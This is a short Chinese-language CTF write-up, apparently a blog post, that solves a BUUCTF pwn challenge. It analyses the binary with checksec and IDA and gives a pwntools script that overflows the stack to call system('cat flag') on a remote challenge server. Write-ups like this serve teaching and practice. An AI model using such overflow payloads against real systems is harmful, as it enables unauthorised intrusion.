本文最后更新于122 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com
1.分析
先checksec:

开了堆栈不可执行,暂时不考虑shellcode,去ida看看
main函数好像是打出几个随机的字符

mem_test函数就是让我们输入,然后比较我们的输入与之前的字符串是否相同,但是没啥用,并不影响程序进行

win_fun就是system(),这道题就有眉目了

就用栈溢出加system(‘cat flag’)
2.实操
溢出就是0x13+4
跳到system:0x8048440
返回地址:0x8048677(main)
cat flag的地址:0x80487E0
from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",27459)
sys=0x8048440
cat=0x80487E0
main=0x8048677
payload=b'a'*(0x13+4)+p32(sys)+p32(main)+p32(cat)
p.sendline(payload)
p.interactive()











